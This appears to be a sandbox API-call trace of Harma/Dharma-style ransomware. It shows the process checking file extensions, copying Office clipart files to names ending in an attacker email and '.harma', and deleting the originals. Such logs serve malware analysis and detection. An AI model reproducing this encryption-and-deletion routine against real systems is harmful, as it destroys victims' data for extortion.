[0140.310] lstrlenW (lpString=".doc") returned 4 [0140.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.310] lstrlenW (lpString=".docx") returned 5 [0140.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.310] lstrlenW (lpString=".pdf") returned 4 [0140.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.310] lstrlenW (lpString=".xls") returned 4 [0140.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.310] lstrlenW (lpString=".xlsx") returned 5 [0140.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.310] lstrlenW (lpString=".ppt") returned 4 [0140.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.310] lstrlenW (lpString=".zip") returned 4 [0140.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.310] lstrlenW (lpString=".rar") returned 4 [0140.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.310] lstrlenW (lpString=".bz2") returned 4 [0140.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.310] lstrlenW (lpString=".7z") returned 3 [0140.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.310] lstrlenW (lpString=".dbf") returned 4 [0140.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.311] lstrlenW (lpString=".1cd") returned 4 [0140.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.311] lstrlenW (lpString=".jpg") returned 4 [0140.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.312] lstrlenW (lpString=".doc") returned 4 [0140.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString=".docx") returned 5 [0140.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.312] lstrlenW (lpString=".pdf") returned 4 [0140.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.313] lstrlenW (lpString=".xls") returned 4 [0140.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.313] lstrlenW (lpString=".xlsx") returned 5 [0140.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.313] lstrlenW (lpString=".ppt") returned 4 [0140.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.313] lstrlenW (lpString=".zip") returned 4 [0140.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.313] lstrlenW (lpString=".rar") returned 4 [0140.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.313] lstrlenW (lpString=".bz2") returned 4 [0140.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.313] lstrlenW (lpString=".7z") returned 3 [0140.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.313] lstrlenW (lpString=".dbf") returned 4 [0140.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.313] lstrlenW (lpString=".1cd") returned 4 [0140.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.313] lstrlenW (lpString=".jpg") returned 4 [0140.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.313] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0140.313] lstrlenW (lpString="AN04174_.WMF") returned 12 [0140.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.314] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2636) returned 1 [0140.315] CloseHandle (hObject=0x350) returned 1 [0140.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0140.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.315] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.315] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0140.316] GetLastError () returned 0x0 [0140.316] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0140.329] WriteFile (in: hFile=0x21c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0140.330] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.330] WriteFile (in: hFile=0x21c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.330] SetEndOfFile (hFile=0x21c) returned 1 [0140.330] CloseHandle (hObject=0x21c) returned 1 [0140.331] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.331] SetEndOfFile (hFile=0x350) returned 1 [0140.346] CloseHandle (hObject=0x350) returned 1 [0140.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0140.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0140.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.409] lstrlenW (lpString=".doc") returned 4 [0140.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.410] lstrlenW (lpString=".docx") returned 5 [0140.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.410] lstrlenW (lpString=".pdf") returned 4 [0140.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.410] lstrlenW (lpString=".xls") returned 4 [0140.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.410] lstrlenW (lpString=".xlsx") returned 5 [0140.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.410] lstrlenW (lpString=".ppt") returned 4 [0140.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.410] lstrlenW (lpString=".zip") returned 4 [0140.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.410] lstrlenW (lpString=".rar") returned 4 [0140.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.410] lstrlenW (lpString=".bz2") returned 4 [0140.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.410] lstrlenW (lpString=".7z") returned 3 [0140.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.410] lstrlenW (lpString=".dbf") returned 4 [0140.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.410] lstrlenW (lpString=".1cd") returned 4 [0140.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.411] lstrlenW (lpString=".jpg") returned 4 [0140.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.411] lstrlenW (lpString=".doc") returned 4 [0140.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.411] lstrlenW (lpString=".docx") returned 5 [0140.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.411] lstrlenW (lpString=".pdf") returned 4 [0140.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString=".xls") returned 4 [0140.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.412] lstrlenW (lpString=".xlsx") returned 5 [0140.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.412] lstrlenW (lpString=".ppt") returned 4 [0140.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.412] lstrlenW (lpString=".zip") returned 4 [0140.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.412] lstrlenW (lpString=".rar") returned 4 [0140.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString=".bz2") returned 4 [0140.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString=".7z") returned 3 [0140.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.413] lstrlenW (lpString=".dbf") returned 4 [0140.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.413] lstrlenW (lpString=".1cd") returned 4 [0140.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0140.413] lstrlenW (lpString=".jpg") returned 4 [0140.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.413] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0140.413] lstrlenW (lpString="AN04195_.WMF") returned 12 [0140.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0140.414] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4612) returned 1 [0140.414] CloseHandle (hObject=0x360) returned 1 [0140.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0140.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0140.415] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.415] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0140.415] GetLastError () returned 0x0 [0140.415] ReadFile (in: hFile=0x360, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1204, lpOverlapped=0x0) returned 1 [0140.420] WriteFile (in: hFile=0x364, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0140.421] ReadFile (in: hFile=0x360, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.421] WriteFile (in: hFile=0x364, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.422] SetEndOfFile (hFile=0x364) returned 1 [0140.422] CloseHandle (hObject=0x364) returned 1 [0140.422] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.422] SetEndOfFile (hFile=0x360) returned 1 [0140.426] CloseHandle (hObject=0x360) returned 1 [0141.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0141.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0141.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.739] lstrlenW (lpString=".doc") returned 4 [0141.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.739] lstrlenW (lpString=".docx") returned 5 [0141.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.739] lstrlenW (lpString=".pdf") returned 4 [0141.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.739] lstrlenW (lpString=".xls") returned 4 [0141.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.739] lstrlenW (lpString=".xlsx") returned 5 [0141.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.739] lstrlenW (lpString=".ppt") returned 4 [0141.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.739] lstrlenW (lpString=".zip") returned 4 [0141.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.739] lstrlenW (lpString=".rar") returned 4 [0141.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.740] lstrlenW (lpString=".bz2") returned 4 [0141.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.740] lstrlenW (lpString=".7z") returned 3 [0141.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.740] lstrlenW (lpString=".dbf") returned 4 [0141.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.740] lstrlenW (lpString=".1cd") returned 4 [0141.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.740] lstrlenW (lpString=".jpg") returned 4 [0141.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.740] lstrlenW (lpString=".doc") returned 4 [0141.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.741] lstrlenW (lpString=".docx") returned 5 [0141.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.741] lstrlenW (lpString=".pdf") returned 4 [0141.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.741] lstrlenW (lpString=".xls") returned 4 [0141.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.741] lstrlenW (lpString=".xlsx") returned 5 [0141.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.741] lstrlenW (lpString=".ppt") returned 4 [0141.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.741] lstrlenW (lpString=".zip") returned 4 [0141.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.741] lstrlenW (lpString=".rar") returned 4 [0141.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.741] lstrlenW (lpString=".bz2") returned 4 [0141.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.741] lstrlenW (lpString=".7z") returned 3 [0141.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.741] lstrlenW (lpString=".dbf") returned 4 [0141.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.741] lstrlenW (lpString=".1cd") returned 4 [0141.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0141.742] lstrlenW (lpString=".jpg") returned 4 [0141.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.742] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0141.742] lstrlenW (lpString="AN04225_.WMF") returned 12 [0141.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0141.750] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8492) returned 1 [0141.750] CloseHandle (hObject=0x344) returned 1 [0141.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0141.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0141.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0141.754] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.754] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0141.757] GetLastError () returned 0x0 [0141.757] ReadFile (in: hFile=0x344, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x212c, lpOverlapped=0x0) returned 1 [0141.769] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2130, lpOverlapped=0x0) returned 1 [0141.770] ReadFile (in: hFile=0x344, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.770] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.771] SetEndOfFile (hFile=0x330) returned 1 [0141.771] CloseHandle (hObject=0x330) returned 1 [0141.771] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.771] SetEndOfFile (hFile=0x344) returned 1 [0141.775] CloseHandle (hObject=0x344) returned 1 [0141.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0141.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0141.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.828] lstrlenW (lpString=".doc") returned 4 [0141.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.828] lstrlenW (lpString=".docx") returned 5 [0141.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.828] lstrlenW (lpString=".pdf") returned 4 [0141.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.828] lstrlenW (lpString=".xls") returned 4 [0141.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.828] lstrlenW (lpString=".xlsx") returned 5 [0141.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.828] lstrlenW (lpString=".ppt") returned 4 [0141.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 